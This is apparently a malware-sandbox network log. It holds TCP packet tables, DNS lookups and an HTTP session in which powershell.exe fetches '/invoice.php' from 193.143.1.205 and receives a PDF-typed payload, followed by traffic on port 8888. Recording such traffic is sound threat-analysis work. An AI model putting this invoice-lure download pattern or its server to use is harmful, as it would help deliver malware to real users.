Jan 10, 2025 16:39:38.230690956 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.230715036 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.231132984 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231144905 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231163025 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231173992 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231184959 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231187105 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.231199026 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.231251001 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231251955 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.231262922 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231277943 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231287956 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.231306076 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.231344938 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.252041101 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252055883 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252068996 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252080917 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252120972 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.252135038 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252155066 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252156973 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.252167940 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252178907 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252190113 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.252199888 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.252237082 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.396250010 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.401324034 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401344061 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401355982 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401366949 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401380062 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401391983 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401403904 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401410103 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.401410103 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401417971 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401431084 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.401443005 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.401503086 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.418869019 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.423748016 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423769951 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423784018 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423795938 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423809052 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423820019 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423862934 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423875093 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423886061 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423888922 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.423888922 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.423897982 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423918009 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423932076 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423940897 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.423940897 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.423940897 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.423944950 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423955917 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423969030 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.423971891 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424007893 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424124002 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424135923 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424148083 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424163103 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424174070 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424175978 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424185991 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424186945 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424197912 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424206018 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424210072 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424228907 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424240112 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424240112 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424252987 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424267054 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424274921 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424277067 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424290895 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424302101 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424313068 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424314022 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424325943 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424334049 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424346924 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424356937 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424360037 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424369097 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424371958 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424385071 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424396992 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424407005 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424410105 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424423933 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424438000 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424447060 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424506903 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424519062 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424530983 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424541950 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424545050 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424556017 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424561024 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424567938 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424580097 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424598932 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424611092 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424618006 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424623013 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424637079 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424648046 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424649000 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424658060 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424662113 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424673080 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424685001 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424685955 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424701929 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424737930 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424762964 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424773932 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424786091 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424798012 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424810886 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424812078 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424822092 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424839020 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424850941 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424854994 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424864054 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424881935 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424926996 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424940109 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424952030 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424961090 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.424962997 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424974918 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424985886 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424998045 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.424998999 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425009012 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425012112 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425028086 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425039053 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425040007 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425051928 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425064087 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425076008 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425076008 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425086975 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425098896 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425106049 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425111055 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425121069 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425123930 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425134897 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425148010 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425149918 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425158024 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425190926 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425266981 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425280094 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425292969 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425303936 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425328016 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425378084 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425384045 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425390005 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425404072 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425416946 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425422907 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425455093 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425473928 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425486088 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425498009 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425509930 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425522089 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425525904 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425545931 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425604105 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425616980 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425630093 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425638914 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425657034 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425668955 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425668955 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425681114 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425693035 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425709009 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425734997 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425753117 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425766945 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425779104 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425790071 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425797939 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425802946 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425828934 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425832987 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425844908 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425857067 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425869942 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425877094 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425883055 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.425905943 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.425928116 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426012039 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426023960 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426034927 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426047087 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426060915 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426063061 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426073074 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426079988 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426084995 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426096916 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426107883 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426114082 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426119089 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426131964 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426139116 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426150084 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426151991 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426163912 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426176071 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426187038 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426192045 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426204920 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426239014 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426251888 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426264048 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426275015 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426285982 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426286936 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426299095 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426301956 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426311970 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426337004 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426350117 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426506042 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426551104 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426563025 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426592112 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426604986 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426616907 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426629066 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426640987 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426645994 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426659107 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426731110 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426743031 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426754951 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426765919 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426776886 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426783085 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426789999 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426806927 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426819086 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426824093 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426856041 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426867008 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426867962 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426882982 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426893950 CET	80	49762	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:38.426903963 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.426932096 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.854299068 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:38.860188961 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:39.246531010 CET	49762	80	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:39.948791981 CET	49783	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:39.953732967 CET	8888	49783	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:39.953841925 CET	49783	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:39.953983068 CET	49783	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:39.958782911 CET	8888	49783	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:40.743757963 CET	8888	49783	193.143.1.205	192.168.2.10
Jan 10, 2025 16:39:40.784266949 CET	49783	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 16:39:41.415182114 CET	49783	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 16:39:48.925282001 CET	60163	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 16:39:48.925282001 CET	192.168.2.10	1.1.1.1	0x1195	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 16:39:48.932931900 CET	1.1.1.1	192.168.2.10	0x1195	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:39:49.616030931 CET	1.1.1.1	192.168.2.10	0x5ce5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:39:49.616030931 CET	1.1.1.1	192.168.2.10	0x5ce5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49762	193.143.1.205	80	8156	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 16:39:36.870949984 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 16:39:37.670259953 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:39:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
